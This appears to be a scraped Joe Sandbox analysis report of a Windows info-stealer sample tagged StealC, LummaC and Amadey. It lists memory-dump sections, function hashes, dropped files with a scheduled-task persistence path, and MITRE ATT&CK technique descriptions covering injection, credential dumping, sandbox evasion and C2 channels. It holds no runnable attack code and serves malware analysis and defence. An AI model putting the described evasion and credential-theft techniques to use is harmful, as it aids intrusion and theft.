Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: da272ea1c73b1ee2710e5b552d92274dbd0097f0a541a81ee25c22e04aec912f
Instruction ID: 9ea053984075f25d699cacd6f66f02ef6fe6fc611832924ba3d4b7f850a29c5a
Opcode Fuzzy Hash: da272ea1c73b1ee2710e5b552d92274dbd0097f0a541a81ee25c22e04aec912f
Instruction Fuzzy Hash: 5A214F72A00209EFDF01EFA4CC959BEB7B9EF49710F104415F902B7251DB389D419BA0

Function 0078F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0078F3A3

Strings

`'{, xrefs: 0078F375
8"{, xrefs: 0078F44B

Memory Dump Source

Source File: 00000008.00000002.3114854961.0000000000751000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00750000, based on PE: true

Associated: 00000008.00000002.3114803645.0000000000750000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3114854961.00000000007B2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115049114.00000000007B9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115086337.00000000007BB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115136348.00000000007C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115168149.00000000007C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115229893.00000000007C7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115472837.0000000000929000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115520214.000000000092B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.000000000093C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115579608.0000000000949000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115684926.000000000094C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115735196.0000000000950000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115786341.0000000000951000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115828555.0000000000953000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115901735.0000000000976000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3115952827.0000000000977000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116011196.0000000000978000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116062563.0000000000979000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116105531.000000000097A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116183545.000000000098B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116251592.00000000009A4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116310236.00000000009A9000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116374257.00000000009B0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116425875.00000000009B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116483589.00000000009B2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116545211.00000000009B7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116599927.00000000009B8000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116652212.00000000009BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116702623.00000000009C6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116753718.00000000009C8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116819854.00000000009C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116865015.00000000009CC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3116912020.00000000009D3000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117006928.00000000009D4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117285070.00000000009D6000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117616781.00000000009D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3117778944.00000000009D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118124163.00000000009DB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118218352.00000000009E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.00000000009E7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118287348.0000000000A25000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118632340.0000000000A51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118699510.0000000000A52000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118749365.0000000000A53000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118891609.0000000000A57000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3118966673.0000000000A59000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119045463.0000000000A67000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.3119112743.0000000000A68000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_750000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"{$`'{
API String ID: 3903695350-3088295984
Opcode ID: 557a39ed94709d25baa982f4360ed0190c9bb99c23edda4693c91e7292095056
Instruction ID: 800c30207ec4e53d080f7c5be3ee95d9a40813bc30b5d2e38fbd417bb3809b5c
Opcode Fuzzy Hash: 557a39ed94709d25baa982f4360ed0190c9bb99c23edda4693c91e7292095056
Instruction Fuzzy Hash: 0E316C31680602EFEB21BA79D849B5B73E8EF00352F10542BE449D7999DF79EC80CB21

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ZBbOXn0a3R.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\QA4B92LG0Q3PL6TE6NK36C44P92RH.exe

C:\Users\user\AppData\Local\Temp\VJV6IQUTCE3IBMH3UJROT.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Windows\Tasks\skotes.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
ZBbOXn0a3R.exe

Function 01005C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434
COMMON

Function 01009BA5 Relevance: 3.1, APIs: 2, Instructions: 140
sleepsynchronizationCOMMON

Function 01009F44 Relevance: 3.1, APIs: 2, Instructions: 137
sleepsynchronizationCOMMON

Function 0100A079 Relevance: 3.1, APIs: 2, Instructions: 136
sleepsynchronizationCOMMON

Function 0100A1AE Relevance: 3.1, APIs: 2, Instructions: 135
sleepsynchronizationCOMMON

Function 0100A418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Function 0100A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Function 0100A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Function 01009ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Function 0100A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Function 0100A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Function 01007D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre